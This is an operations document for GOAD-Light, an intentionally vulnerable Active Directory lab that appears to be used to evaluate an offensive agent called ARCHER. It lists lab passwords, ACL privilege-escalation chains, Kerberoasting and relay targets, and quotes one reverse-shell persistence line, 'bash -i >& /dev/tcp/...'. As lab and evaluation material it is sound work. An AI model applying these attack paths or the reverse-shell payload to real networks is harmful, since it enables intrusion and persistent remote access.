Skip to content

GOAD-Light Eval Range

Lab: GOAD-Light (Game of Active Directory — Light variant)
Purpose: Intentionally-vulnerable Active Directory environment used as the primary eval target for ARCHER AD, post-exploitation, persistence, pivoting, and lateral movement objectives.
Location: /home/jay/Projects/ARCHER/testenv/GOAD/
Provider: VirtualBox (headless), managed by Vagrant + Ansible
Host network: 192.168.56.0/24 (vboxnet0 host-only)


Network Topology

┌─────────────────────────────────────────────────────────────┐
│                    192.168.56.0/24 (vboxnet0)               │
│                                                             │
│  192.168.56.10          192.168.56.11        192.168.56.22  │
│  DC01 / kingslanding    DC02 / winterfell    SRV02 / castelblack │
│  sevenkingdoms.local    north.sevenkingdoms  north.sevenkingdoms  │
│  WinSrv 2019 (DC)       WinSrv 2019 (DC)    WinSrv 2019 (member) │
│                                                             │
│  192.168.56.101 (kali attacker / archer-kali container)     │
└─────────────────────────────────────────────────────────────┘

Domain trust: sevenkingdoms.local ↔ north.sevenkingdoms.local (bidirectional)
Forest root: sevenkingdoms.local

Virtual Machines

VM Name Hostname IP Domain Role OS
GOAD-Light-DC01 kingslanding 192.168.56.10 sevenkingdoms.local Domain Controller Windows Server 2019
GOAD-Light-DC02 winterfell 192.168.56.11 north.sevenkingdoms.local Domain Controller Windows Server 2019
GOAD-Light-SRV02 castelblack 192.168.56.22 north.sevenkingdoms.local Member Server (IIS + MSSQL) Windows Server 2019

DC01 — kingslanding.sevenkingdoms.local

  • IP: 192.168.56.10
  • Local admin password: 8dCT-DJjgScp
  • WinRM: port 5985 (HTTP), vagrant:vagrant
  • Services: LDAP:389, Kerberos:88, SMB:445, WinRM:5985, RDP:3389
  • Defender: Enabled
  • Vagrant state: Tracked — start/stop via vagrant normally

DC02 — winterfell.north.sevenkingdoms.local

  • IP: 192.168.56.11
  • Local admin password: NgtI75cKV+Pu
  • WinRM: port 5985 (HTTP), vagrant:vagrant
  • Services: LDAP:389, Kerberos:88, SMB:445, WinRM:5985, LDAP anonymous RPC allowed
  • Defender: Enabled
  • Vagrant state: Tracked — must be started via vagrant to avoid orphan/state-divergence issues

SRV02 — castelblack.north.sevenkingdoms.local

  • IP: 192.168.56.22
  • Local admin password: NgtI75cKV+Pu
  • WinRM: port 5985 (HTTP), vagrant:vagrant
  • Services: SMB:445, WinRM:5985, IIS:80, MSSQL:1433, RDP:3389
  • Defender: Disabled
  • IIS: Allows ASP upload, runs as NT Authority\Network
  • MSSQL: Admin = jon.snow

Domain: sevenkingdoms.local (DC01)

Forest root. Managed by DC01 (kingslanding).

Users

Username Password Groups Privileges / Notes
administrator 8dCT-DJjgScp Domain Admins Local admin account
cersei.lannister il0vejaime Lannister, Baratheon, Domain Admins, Small Council Domain Admin
robert.baratheon iamthekingoftheworld Baratheon, Domain Admins, Small Council, Protected Users Domain Admin; Protected Users blocks NTLM/delegation
tywin.lannister powerkingftw135 Lannister
jaime.lannister cersei Lannister
tyron.lannister Alc00L&S3x Lannister
joffrey.baratheon 1killerlion Baratheon, Lannister
renly.baratheon lorastyrell Baratheon, Small Council
stannis.baratheon Drag0nst0ne Baratheon, Small Council
petyer.baelish @littlefinger@ Small Council
lord.varys _W1sper_$ Small Council
maester.pycelle MaesterOfMaesters Small Council

No Kerberoastable SPNs in sevenkingdoms.local. All SPNs are in north.sevenkingdoms.local. Cross-domain Kerberoasting requires the trust to be active.

Groups

Group Type Notes
Lannister Global
Baratheon Global RDP on kingslanding
Small Council Global RDP on kingslanding; ACL: add member to DragonStone
DragonStone Global ACL: WriteOwner on KingsGuard
KingsGuard Global ACL: GenericAll on stannis.baratheon
DragonRider Global
AcrossTheNarrowSea DomainLocal Cross-domain group; GenericAll on kingslanding$ computer object

ACL Attack Chain (sevenkingdoms.local)

tywin.lannister
  └─ ForceChangePassword → jaime.lannister
       └─ GenericWrite → joffrey.baratheon
            └─ WriteDacl → tyron.lannister
                 └─ Self-Membership → Small Council
                      └─ Write-Self-Membership → DragonStone
                           └─ WriteOwner → KingsGuard
                                └─ GenericAll → stannis.baratheon
                                     └─ GenericAll → kingslanding$ (DCSync path)

lord.varys
  └─ GenericAll → Domain Admins (direct DA)
  └─ GenericAll → AdminSDHolder (persistent DA via SDHolder)

AcrossTheNarrowSea (cross-domain group)
  └─ GenericAll → kingslanding$ (DCSync path from north domain)

Domain: north.sevenkingdoms.local (DC02)

Child domain. Managed by DC02 (winterfell). Anonymous RPC/LDAP read is enabled — null-session enumeration works.

Users

Username Password Groups SPNs Notes
eddard.stark FightP3aceAndHonor! Stark, Domain Admins Domain Admin; LLMNR/NTLM relay bot (5min interval)
catelyn.stark robbsansabradonaryarickon Stark
robb.stark sexywolfy Stark LLMNR/NTLM relay bot (3min); RDP credential in DC02 autologon
arya.stark Needle Stark MSSQL execute-as-user
sansa.stark 345ertdfg Stark HTTP/eyrie.north.sevenkingdoms.local Kerberoastable
brandon.stark iseedeadpeople Stark ASREPRoastable (no pre-auth)
rickon.stark Winter2022 Stark
hodor hodor Stark Password = username (spray target)
jon.snow iknownothing Stark, Night Watch HTTP/thewall.north.sevenkingdoms.local Kerberoastable; MSSQL admin
samwell.tarly Heartsbane Night Watch Password in LDAP description; MSSQL execute-as-login; GPO abuse
jeor.mormont _L0ngCl@w_ Night Watch, Mormont ACL WriteDacl+WriteOwner on Night Watch group
sql_svc YouWillNotKerboroast1ngMeeeeee MSSQLSvc/castelblack.north.sevenkingdoms.local:1433
MSSQLSvc/castelblack.north.sevenkingdoms.local
Kerberoastable (strong password — crack-resistant)

Kerberoastable Accounts Summary

Account SPN Password Strength
sansa.stark HTTP/eyrie.north.sevenkingdoms.local Weak (345ertdfg)
jon.snow HTTP/thewall.north.sevenkingdoms.local Weak (iknownothing)
sql_svc MSSQLSvc/castelblack... Strong (intentionally crack-resistant)

ASREPRoastable Accounts

Account Notes
brandon.stark Pre-authentication not required

Groups

Group Type Notes
Stark Global RDP on winterfell and castelblack
Night Watch Global RDP on castelblack
Mormont Global RDP on castelblack
AcrossTheSea DomainLocal Cross-domain group

ACL Attack Chain (north.sevenkingdoms.local)

jeor.mormont
  └─ WriteDacl + WriteOwner → Night Watch group

Anonymous LDAP / null-session
  └─ ReadProperty + GenericExecute on DC=North (enumeration without creds)

SRV02 (castelblack) — Service Details

MSSQL (port 1433):
  Admin:              jon.snow
  Execute-as-login:   samwell.tarly → sa
  Execute-as-user:    arya.stark → dbo

IIS:
  Allows ASP file upload
  Runs as: NT Authority\Network

SMB shares: present (see vulnerabilities.yml for share names)

RDP:
  Night Watch (group)
  Mormont (group)
  Stark (group)

Intentional Vulnerabilities & Attack Scenarios

Vulnerability Target Entry Point
Kerberoasting sansa.stark, jon.snow, sql_svc Valid domain user + DC
ASREPRoasting brandon.stark No creds needed
Password spray hodor (user=password) Any auth service
Password in LDAP description samwell.tarly LDAP anonymous / any auth'd user
LLMNR/NTLM relay eddard.stark bot (5min), robb.stark bot (3min) Responder on same subnet
NTLM relay → MSSQL Responder + ntlmrelayx
MSSQL execute-as-login samwell.tarly → sa MSSQL access
MSSQL execute-as-user arya.stark → dbo MSSQL access
MSSQL trusted link jon.snow (admin) MSSQL chaining
IIS ASP upload / RCE castelblack IIS Web exploit
GPO abuse samwell.tarly has Edit Settings on "STARKWALLPAPER" GPO DA or GPO editor access
ACL chain DA takeover tywin → jaime → joffrey → tyron → Small Council → DragonStone → KingsGuard → stannis → kingslanding$ Starting foothold
lord.varys GenericAll DA lord.varys → Domain Admins Direct foothold on varys
Anonymous LDAP enumeration north.sevenkingdoms.local No creds
Cross-domain group abuse AcrossTheNarrowSea (north) → GenericAll → kingslanding$ DA in north
DCSync (via ACL chain) stannis.baratheon or AcrossTheNarrowSea members End of ACL chain
Credential in DC02 autologon robb.stark:sexywolfy Physical/memory access to DC02
Credential stored (TERMSRV) robb.stark:sexywolfy for TERMSRV/castelblack Credential manager
ADCS ESC1 kingslanding DC01 ADCS template abuse

Missing from GOAD-Light (present in full GOAD): - Cross-forest exploitation (no Essos domain) - MSSQL trusted link across forests - ZeroLogon, PetitPotam unauthenticated - ESC2, ESC3, ESC4


Lab Management

Prerequisites

# Ansible (system)
which ansible           # must be present
ansible --version       # tested with ansible-core 2.19+

# Vagrant
which vagrant
vagrant --version

# VirtualBox
VBoxManage --version

# Python venv for GOAD tool (created on first use by goad.sh)
~/.goad/.venv/         # auto-created by goad.sh

Start the Lab

# Preferred — let vagrant manage all three VMs
cd /home/jay/Projects/ARCHER/testenv/GOAD/workspace/1acadc-goad-light-virtualbox/provider
vagrant up

# Verify from archer-kali container
docker exec archer-kali bash -c "
  nc -zw3 192.168.56.10 88  && echo 'DC01:UP' || echo 'DC01:DOWN'
  nc -zw3 192.168.56.11 88  && echo 'DC02:UP' || echo 'DC02:DOWN'
  nc -zw3 192.168.56.22 445 && echo 'SRV02:UP' || echo 'SRV02:DOWN'
"

CRITICAL: Always start VMs through vagrant, not VBoxManage directly. Starting via VBoxManage startvm bypasses vagrant's state file and will orphan the VM — vagrant will then report it as "not created" even though it's running, blocking future provisioning.

Stop the Lab

cd /home/jay/Projects/ARCHER/testenv/GOAD/workspace/1acadc-goad-light-virtualbox/provider
vagrant halt

# Or stop individual VMs
vagrant halt GOAD-Light-DC01
vagrant halt GOAD-Light-DC02
vagrant halt GOAD-Light-SRV02

Check Lab Status

# Vagrant state
cd /home/jay/Projects/ARCHER/testenv/GOAD/workspace/1acadc-goad-light-virtualbox/provider
vagrant status

# VirtualBox state
VBoxManage list runningvms | grep GOAD

# Service-level check (from kali container)
docker exec archer-kali bash -c "
  nc -zw3 192.168.56.10 88   && echo 'DC01 Kerberos:UP'  || echo 'DC01 Kerberos:DOWN'
  nc -zw3 192.168.56.10 389  && echo 'DC01 LDAP:UP'      || echo 'DC01 LDAP:DOWN'
  nc -zw3 192.168.56.11 88   && echo 'DC02 Kerberos:UP'  || echo 'DC02 Kerberos:DOWN'
  nc -zw3 192.168.56.22 445  && echo 'SRV02 SMB:UP'      || echo 'SRV02 SMB:DOWN'
  nc -zw3 192.168.56.22 1433 && echo 'SRV02 MSSQL:UP'    || echo 'SRV02 MSSQL:DOWN'
"

# Auth verification (confirm AD is provisioned, not just booted)
docker exec archer-kali bash -c "
  impacket-GetADUsers sevenkingdoms.local/cersei.lannister:il0vejaime -dc-ip 192.168.56.10 2>&1 | grep -c 'lannister\|stark\|baratheon' && echo 'AD provisioned' || echo 'AD NOT provisioned'
"

Provision (First-Time or After Rebuild)

Full provisioning via the GOAD tool (uses ~/.goad/.venv):

cd /home/jay/Projects/ARCHER/testenv/GOAD
~/.goad/.venv/bin/python3 goad.py -t install -l GOAD-Light -p virtualbox -m local \
  -i 1acadc-goad-light-virtualbox

Manual ansible (if GOAD tool fails — run all playbooks in order):

GOAD=/home/jay/Projects/ARCHER/testenv/GOAD
INV1="$GOAD/ad/GOAD-Light/data/inventory"
INV2="$GOAD/workspace/1acadc-goad-light-virtualbox/inventory"
INV3="$GOAD/globalsettings.ini"

cd "$GOAD/ansible"
for pb in build.yml ad-servers.yml ad-parent_domain.yml ad-members.yml ad-trusts.yml \
           ad-data.yml ad-gmsa.yml laps.yml ad-relations.yml adcs.yml \
           ad-acl.yml servers.yml security.yml vulnerabilities.yml; do
  echo "=== running $pb ==="
  ~/.goad/.venv/bin/ansible-playbook -i "$INV1" -i "$INV2" -i "$INV3" $pb
done

Playbook order matters. ad-trusts.yml must run after both DCs are promoted (ad-parent_domain.yml) and before ad-data.yml configures cross-domain groups.

Partial re-provision (after dc01+srv02 already provisioned, adding dc02 mid-session):

# Run with --limit to target specific hosts
~/.goad/.venv/bin/ansible-playbook -i "$INV1" -i "$INV2" -i "$INV3" \
  --limit dc02 ad-servers.yml ad-parent_domain.yml ad-members.yml

# Then run trust + data against all
~/.goad/.venv/bin/ansible-playbook -i "$INV1" -i "$INV2" -i "$INV3" ad-trusts.yml
~/.goad/.venv/bin/ansible-playbook -i "$INV1" -i "$INV2" -i "$INV3" ad-data.yml

Rebuild DC02 (Full Procedure — Read Before Executing)

DC02 has five independent failure modes that compound. All five must be addressed in order — any one skipped will cause a silent failure that only surfaces after a 10-minute DCPROMO reboot cycle.

Failure mode summary

Mode Symptom Root cause Step that fixes it
Stale forest metadata DCPROMO runs, reboots, comes back WORKGROUP north NC still in DC01's forest Step 0
Hostname not WINTERFELL DCPROMO runs, reboots, comes back WORKGROUP Vagrant box starts as VAGRANT; rename needs its own reboot before DCPROMO Step 3
Blank Administrator password dcpromoui.log exit code 94; $Ansible.Changed = $true fires before Install-ADDSDomain, so Ansible shows changed and reboots even though DCPROMO failed StefanScherer/windows_2019 ships with blank local Administrator; -SkipPreChecks does NOT bypass this runtime check Step 4
NAT adapter DNS wins over domain adapter DCPROMO starts, reaches DoProgressLoop, then aborts with error 8524 — DNS lookup failure for kingslanding.sevenkingdoms.local NAT adapter (Ethernet) has lower interface metric than hostonly (Ethernet 2); queries for .local names go to 1.1.1.1 first, which returns NXDOMAIN Step 5
WinRE recovery loop VM inaccessible after multiple forced reboots Windows triggers auto-recovery after ≥2 dirty shutdowns Troubleshooting section

Step 0 — Check for stale forest metadata on DC01 (MANDATORY before rebuild)

When DC02 is deleted, its AD registration is NOT automatically removed from DC01. If the forest still knows about north.sevenkingdoms.local, the new DC02's DCPROMO will silently fail.

python3 << 'EOF'
import winrm
s = winrm.Session("192.168.56.10", auth=("vagrant","vagrant"),
                  transport="ntlm", server_cert_validation="ignore")
print(s.run_ps("(Get-ADForest).Domains | Sort").std_out.decode())
EOF
# Must show ONLY: sevenkingdoms.local
# If north.sevenkingdoms.local appears, run the forest cleanup below

If north.sevenkingdoms.local appears, clean the forest before rebuilding:

# 1. Delete WINTERFELL NTDS Settings and Server objects from DC01 Sites config
python3 << 'EOF'
import winrm
s = winrm.Session("192.168.56.10", auth=("administrator","8dCT-DJjgScp"),
                  transport="ntlm", server_cert_validation="ignore")
r = s.run_ps("""
$ntds = "CN=NTDS Settings,CN=WINTERFELL,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=sevenkingdoms,DC=local"
Remove-ADObject -Identity $ntds -Recursive -Confirm:$false -ErrorAction SilentlyContinue
$srv  = "CN=WINTERFELL,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=sevenkingdoms,DC=local"
Remove-ADObject -Identity $srv  -Recursive -Confirm:$false -ErrorAction SilentlyContinue
Write-Output done
""")
print(r.std_out.decode())
EOF

# 2. Delete DomainDnsZones child NC first (error 8213 if skipped), then north NC
# Run both via ntdsutil using the administrator account on DC01
ANSIBLE_ALLOW_BROKEN_CONDITIONALS=True ansible -i /tmp/goad_combined_inventory dc01 \
  -e ansible_user=administrator -e 'ansible_password=8dCT-DJjgScp' \
  -m ansible.windows.win_shell \
  -a '"partition management`nconnections`nconnect to server kingslanding.sevenkingdoms.local`nquit`ndelete NC dc=DomainDnsZones,dc=north,dc=sevenkingdoms,dc=local`nquit`nquit" | ntdsutil'

ANSIBLE_ALLOW_BROKEN_CONDITIONALS=True ansible -i /tmp/goad_combined_inventory dc01 \
  -e ansible_user=administrator -e 'ansible_password=8dCT-DJjgScp' \
  -m ansible.windows.win_shell \
  -a '"partition management`nconnections`nconnect to server kingslanding.sevenkingdoms.local`nquit`ndelete NC dc=north,dc=sevenkingdoms,dc=local`nquit`nquit" | ntdsutil'

# 3. Verify (wait 30s first for replication)
sleep 30
python3 -c "
import winrm
s = winrm.Session('192.168.56.10', auth=('vagrant','vagrant'), transport='ntlm', server_cert_validation='ignore')
print(s.run_ps('(Get-ADForest).Domains | Sort').std_out.decode())
"
# Must show only: sevenkingdoms.local

Why DomainDnsZones must go first: DC=north has DC=DomainDnsZones,DC=north as a child partition. AD error 8213 ("leaf object only") blocks deletion of north until the child is removed.

Step 1 — Destroy the VM via vagrant (not VBoxManage)

Use vagrant global-status to get the 7-char machine ID, then destroy by ID:

vagrant global-status | grep GOAD-Light-DC02
# e.g., 8c8047e  GOAD-Light-DC02  virtualbox  running  /path/to/provider

vagrant destroy <ID> -f
# e.g., vagrant destroy 8c8047e -f

Do NOT use VBoxManage unregistervm to delete the VM. That bypasses vagrant's state file and leaves the workspace in a broken state. Always destroy through vagrant.

Step 2 — Start vagrant

cd /home/jay/Projects/ARCHER/testenv/GOAD/workspace/1acadc-goad-light-virtualbox/provider
vagrant up GOAD-Light-DC02
# Takes 5-10 minutes. Wait for: "Machine booted and ready!"
# Confirms: NICs configured, WinRM available on 192.168.56.11:5985

Step 3 — Rename to WINTERFELL and reboot (CRITICAL — must happen before any ansible)

The StefanScherer/windows_2019 Vagrant box starts with hostname VAGRANT. The build.yml common role schedules a rename but it needs its own reboot to apply. If DCPROMO runs while the hostname is still VAGRANT, the promotion silently fails — the machine reboots back into WORKGROUP with NTDS Stopped and no error in the logs.

Rename manually and wait for the reboot before running any ansible:

python3 << 'EOF'
import winrm
s = winrm.Session("192.168.56.11", auth=("vagrant","vagrant"),
                  transport="ntlm", server_cert_validation="ignore")
s.run_ps("Rename-Computer -NewName WINTERFELL -Force -Restart")
print("Rename + reboot triggered")
EOF

# Wait for WinRM to come back after reboot
until nc -zw3 192.168.56.11 5985; do sleep 10; printf '.'; done && echo " ready"

# Verify
python3 -c "
import winrm
s = winrm.Session('192.168.56.11', auth=('vagrant','vagrant'), transport='ntlm', server_cert_validation='ignore')
print(s.run_ps('hostname').std_out.decode().strip())
"
# Must show: WINTERFELL

Step 4 — Set local Administrator password (MANDATORY — blank on fresh Vagrant box)

Install-ADDSDomain requires a non-blank, complexity-compliant local Administrator password. The StefanScherer/windows_2019 box ships with a blank password. -SkipPreChecks does NOT bypass this check — it fails at runtime with dcpromoui.log exit code 94. The Ansible role's $Ansible.Changed = $true line fires before Install-ADDSDomain, so Ansible always reports changed and triggers the reboot regardless, masking the failure.

python3 << 'EOF'
import winrm, sys
s = winrm.Session("192.168.56.11", auth=("vagrant","vagrant"),
                  transport="ntlm", server_cert_validation="ignore")
r = s.run_ps('net user administrator "NgtI75cKV+Pu"')
print(r.std_out.decode().strip())
if r.status_code != 0:
    print("ERROR"); sys.exit(1)
EOF
# Expected output: The command completed successfully.

Step 5 — Force ALL adapters to use DC01 as sole DNS server (MANDATORY)

ad-child_domain.yml sets only the domain adapter (Ethernet 2) to DC01. The NAT adapter (Ethernet) retains its DHCP-assigned DNS (1.1.1.1). Because the NAT adapter has a lower interface metric (higher priority), Windows sends DCPROMO's DNS query for kingslanding.sevenkingdoms.local to 1.1.1.1 first. 1.1.1.1 returns NXDOMAIN for .local names → DCPROMO aborts with error 8524 at DoProgressLoop. The machine reboots into a partial domain-join limbo (DomainRole 3, NTDS Stopped).

Fix: set ALL adapters to DC01 before DCPROMO and verify resolution:

python3 << 'EOF'
import winrm, sys
s = winrm.Session("192.168.56.11", auth=("vagrant","vagrant"),
                  transport="ntlm", server_cert_validation="ignore")
r = s.run_ps('''
Get-NetAdapter | Where-Object Status -eq Up | ForEach-Object {
    Set-DnsClientServerAddress -InterfaceIndex $_.InterfaceIndex -ServerAddresses @("192.168.56.10")
}
# Verify
$result = Resolve-DnsName kingslanding.sevenkingdoms.local -Type A -ErrorAction Stop
Write-Output "Resolved: $($result.IPAddress)"
''')
print(r.std_out.decode())
if "192.168.56.10" not in r.std_out.decode():
    print("ERROR: resolution failed — do not proceed to DCPROMO"); sys.exit(1)
EOF
# Must output: Resolved: 192.168.56.10

Step 6 — Run build.yml to apply common role (WinRM hardening, firewall)

cd /home/jay/Projects/ARCHER/testenv/GOAD/ansible
ANSIBLE_ALLOW_BROKEN_CONDITIONALS=True ansible-playbook \
  -i /tmp/goad_combined_inventory build.yml --limit dc02 \
  --extra-vars '{"add_route": false, "two_adapters": false}'
# Expected: ok=12 failed=0 (or failed=1 on static-route task — benign, see table)
# Do NOT trigger another reboot after this step.

Step 7 — DCPROMO via ad-child_domain.yml

cd /home/jay/Projects/ARCHER/testenv/GOAD/ansible
ANSIBLE_ALLOW_BROKEN_CONDITIONALS=True ansible-playbook \
  -i /tmp/goad_combined_inventory ad-child_domain.yml \
  --extra-vars '{"add_route": false, "two_adapters": false}'
# ansible disconnects mid-run when DC02 reboots for promotion — expected.
# Success indicator: last completed task before disconnect is "Reboot on dc02"
#   or "enable Ethernet 2 for DNS client requests" (the dnscmd task that runs after reboot).
# Exit code 2 is normal.

# Wait for DC02 to come back
until nc -zw3 192.168.56.11 5985; do sleep 10; printf '.'; done && echo " WinRM up"

# Verify DCPROMO succeeded (use vagrant:vagrant — administrator NTLM may not work immediately post-promotion)
python3 << 'EOF'
import winrm
s = winrm.Session("192.168.56.11", auth=("vagrant","vagrant"),
                  transport="ntlm", server_cert_validation="ignore")
r = s.run_ps("hostname; (Get-WmiObject Win32_ComputerSystem).Domain; (Get-WmiObject Win32_ComputerSystem).DomainRole; (Get-Service NTDS -ErrorAction SilentlyContinue).Status")
print(r.std_out.decode())
# Expected:
#   WINTERFELL
#   north.sevenkingdoms.local
#   5   (Primary DC)
#   Running
#
# If WORKGROUP / DomainRole 2 / Stopped: DCPROMO failed.
# Check log: Get-Content C:\\Windows\\debug\\dcpromoui.log -Tail 30
# Common cause: stale forest metadata on DC01 — re-run from Step 0.
EOF

Step 8 — Run AD data playbooks

cd /home/jay/Projects/ARCHER/testenv/GOAD/ansible
for pb in ad-data.yml ad-relations.yml ad-acl.yml; do
  echo "=== $pb ==="
  ANSIBLE_ALLOW_BROKEN_CONDITIONALS=True ansible-playbook \
    -i /tmp/goad_combined_inventory "$pb" \
    --extra-vars '{"add_route": false, "two_adapters": false}'
done

ad-trusts.yml is a no-op for GOAD-Light. The parent-child trust is established automatically during ad-child_domain.yml. The [trust] group in the inventory is empty.

Step 9 — Post-rebuild health check (mandatory before running evals)

# DC02 must be a DC with NTDS running
python3 << 'EOF'
import winrm
s = winrm.Session("192.168.56.11", auth=("vagrant","vagrant"),
                  transport="ntlm", server_cert_validation="ignore")
r = s.run_ps("hostname; (Get-WmiObject Win32_ComputerSystem).Domain; (Get-Service NTDS,ADWS | Select Name,Status | Format-List)")
print(r.std_out.decode())
# Expected: WINTERFELL / north.sevenkingdoms.local / NTDS Running / ADWS Running
EOF

# SPNs must be visible cross-domain from the parent DC
docker exec archer-kali bash -c "
  impacket-GetUserSPNs sevenkingdoms.local/cersei.lannister:il0vejaime \
    -dc-ip 192.168.56.10 -request 2>&1 | head -10
"
# Expected: sansa.stark, jon.snow, sql_svc appear
# If 'No entries found': trust not active or ad-data.yml did not complete

Step 10 — Take a VirtualBox snapshot

VBoxManage snapshot "GOAD-Light-DC02" take "provisioned-$(date +%Y%m%d)" \
  --description "WINTERFELL north.sevenkingdoms.local DC, AD data loaded"
# Restore later with: VBoxManage snapshot "GOAD-Light-DC02" restore "provisioned-YYYYMMDD"
# Restore is 5 seconds vs 90 minutes of re-provisioning.

Overnight automation script

The full sequence above (Steps 4–8) is scripted at testenv/overnight_dc02.sh. Run it after Step 3 (rename+reboot) has completed:

nohup bash testenv/overnight_dc02.sh > /tmp/overnight_dc02.log 2>&1 &
# Monitor: tail -f /tmp/overnight_dc02.log
# On failure: last line will say FATAL: <step that failed>

Known benign failures during provisioning

Playbook Host Error Fix / Why benign
build.yml dc02 add_route is undefined static-route task fails Add --extra-vars "add_route=no"
ad-child_domain.yml dc02 dnscmd: not recognized as cmdlet after DCPROMO reboot DNS listener config runs post-reboot before DNS tools are on PATH. Non-critical — DNS resolves correctly.
ad-members.yml srv02 "switching domains is not implemented" srv02 already joined north domain from a prior run; benign
All playbooks All two_adapters: str vs bool deprecation warning Add --extra-vars "two_adapters=no" to suppress

Combined inventory file

The GOAD data/inventory has host groups but no IPs. The workspace/.../inventory has IPs but only a [default] group. A combined inventory is required:

/tmp/goad_combined_inventory

If this file is missing, recreate it — see the inventory template in this doc's Ansible section.

Destroy and Full Rebuild

cd /home/jay/Projects/ARCHER/testenv/GOAD/workspace/1acadc-goad-light-virtualbox/provider
vagrant destroy -f
vagrant up
# Then run full ansible provisioning (see Provision section above)

Suspend / Resume (Snapshot)

# Suspend all (saves VM state — fast resume, preserves AD state)
cd /home/jay/Projects/ARCHER/testenv/GOAD/workspace/1acadc-goad-light-virtualbox/provider
vagrant suspend

# Resume
vagrant resume

# Snapshot via VirtualBox (point-in-time, after full provisioning)
VBoxManage snapshot "GOAD-Light-DC01" take "provisioned-$(date +%Y%m%d)" --live
VBoxManage snapshot "GOAD-Light-DC02" take "provisioned-$(date +%Y%m%d)" --live
VBoxManage snapshot "GOAD-Light-SRV02" take "provisioned-$(date +%Y%m%d)" --live

# Restore snapshot
VBoxManage snapshot "GOAD-Light-DC01" restore "provisioned-20260606"

Ansible WinRM Configuration

The ansible inventory (ad/GOAD-Light/data/inventory) uses:

ansible_user=vagrant
ansible_password=vagrant
ansible_connection=winrm
ansible_winrm_server_cert_validation=ignore
ansible_winrm_operation_timeout_sec=400
ansible_winrm_read_timeout_sec=500

Default transport resolves to HTTPS (port 5986). If HTTPS is unavailable, force HTTP:

~/.goad/.venv/bin/ansible dc02 -i "$INV1" -i "$INV2" -i "$INV3" \
  -e "ansible_port=5985 ansible_winrm_transport=ntlm" -m win_ping

ARCHER Eval Harness Integration

Constants defined in testenv/eval_harness.py:

_GOAD_DC01   = "192.168.56.10"    # kingslanding.sevenkingdoms.local
_GOAD_DC02   = "192.168.56.11"    # winterfell.north.sevenkingdoms.local
_GOAD_SRV02  = "192.168.56.22"    # castelblack.north.sevenkingdoms.local
_GOAD_KERBEROAST_CREDS = "sevenkingdoms.local/cersei.lannister:il0vejaime"

Note: _GOAD_KERBEROAST_CREDS must use il0vejaime as the password. The config.json sets this; do not revert to icejohnsnow (Jon Snow's password — wrong user).

AD Preflight (used by PT-AD-01/02/03/04)

# eval_harness.py ~line 2631
(_GOAD_DC02, "88",  "DC02/winterfell (Kerberos)"),
(_GOAD_SRV02, "445", "SRV02/castelblack (SMB)"),

Both DC02:88 and SRV02:445 must be reachable before AD objectives run.

Objectives That Require This Range

Objective Target Requires
PT-AD-01 Any GOAD host DC02:88 + SRV02:445 preflight
PT-AD-02 Any GOAD host DC02:88 + SRV02:445 preflight
PT-AD-03 North domain null-session DC02:88 + SRV02:445 preflight
PT-AD-04 sevenkingdoms.local Kerberoasting DC01 + cross-domain trust active
PT-PIVOT-05/06/07 Internal pivot via GOAD hosts GOAD VMs running

Verify Lab is Eval-Ready

# Full readiness check
docker exec archer-kali bash -c "
  nc -zw3 192.168.56.10 88  && echo 'DC01 Kerberos:UP' || echo 'FAIL DC01:88'
  nc -zw3 192.168.56.11 88  && echo 'DC02 Kerberos:UP' || echo 'FAIL DC02:88'
  nc -zw3 192.168.56.22 445 && echo 'SRV02 SMB:UP'     || echo 'FAIL SRV02:445'
  impacket-GetUserSPNs sevenkingdoms.local/cersei.lannister:il0vejaime \
    -dc-ip 192.168.56.10 2>&1 | grep -E 'ServicePrincipalName|No entries' | head -2
"

Expected output when healthy:

DC01 Kerberos:UP
DC02 Kerberos:UP
SRV02 SMB:UP
ServicePrincipalName   ...   (Kerberoastable account found via cross-domain trust)

If No entries found! is returned for SPNs: cross-domain trust is missing — run ad-trusts.yml.


Cross-Run Contamination Risks

Certain ARCHER eval objectives leave persistent state on the VMs that affects subsequent runs:

Source Objective Contamination Affected Objectives Mitigation
PT-PERSIST-03 Appends bash -i >& /dev/tcp/192.168.56.101/4444 0>&1 to /home/msfadmin/.bashrc on Metasploitable2 (not GOAD) PT-POST-02, PT-EXFIL-02 _setup_t23() cleanup in eval_harness.py
PT-PIVOT-03/05 Leaves chisel/socat processes running Subsequent pivot objectives Pivot teardown in setup_fn

GOAD VMs are not directly affected by these contamination paths. Cross-run contamination on GOAD hosts is mitigated by the AD preflight which verifies basic reachability before each run.


Troubleshooting

All LDAP auth fails (invalidCredentials)

  1. Check if AD is provisioned: impacket-GetADUsers sevenkingdoms.local/administrator:'8dCT-DJjgScp' -dc-ip 192.168.56.10 -all — if only Administrator/Guest/krbtgt appear, re-run ad-data.yml.
  2. Check DC01 is running: VBoxManage list runningvms | grep DC01
  3. Check clock skew: Kerberos requires ≤5 min skew between kali and DC.

No SPNs found (Kerberoasting returns "No entries")

All Kerberoastable accounts (sansa.stark, jon.snow, sql_svc) are in north.sevenkingdoms.local. Possible causes:

  1. DC02 is not running — VBoxManage list runningvms | grep DC02
  2. DC02 DCPROMO failed silently — check: (Get-WmiObject Win32_ComputerSystem).Domain should be north.sevenkingdoms.local, not WORKGROUP; Get-Service NTDS | Select Status should be Running
  3. ad-data.yml didn't complete — re-run it
  4. Cross-domain trust not established — verify ad-child_domain.yml completed successfully (parent-child trust is automatic; ad-trusts.yml is a no-op for GOAD-Light)

Note: ad-trusts.yml does nothing for GOAD-Light. The [trust] group in the inventory is empty. Parent-child trust is established by ad-child_domain.yml.

DC02 DCPROMO fails silently (comes back as WORKGROUP after reboot)

Stale forest metadata from a previous DC02 exists on DC01. Symptom: ansible ad-child_domain.yml reports ok=9 changed=6 failed=0 but DC02 reboots into WORKGROUP with NTDS stopped.

Check dcpromo.log on DC02:

C:\Windows\debug\dcpromo.log  →  look for error 1356

Fix: clean the forest metadata before re-running promotion. See Step 0 of the DC02 Rebuild procedure above.

DC02 stuck in WinRE "Choose an option" recovery loop

Windows triggers automatic recovery mode (WinRE) after 2–3 consecutive unclean shutdowns. Symptom: screenshotpng shows blue header bar with horizontal scan lines; all ports (445, 3389, 5985) closed indefinitely.

Recovery via keyboard injection (VirtualBox headless):

# Navigate to Troubleshoot (Tab) → Advanced Options (Enter) → Command Prompt (Tab → Enter)
VBoxManage controlvm "GOAD-Light-DC02" keyboardputscancode 0f 8f  # Tab
VBoxManage controlvm "GOAD-Light-DC02" keyboardputscancode 1c 9c  # Enter (Troubleshoot)
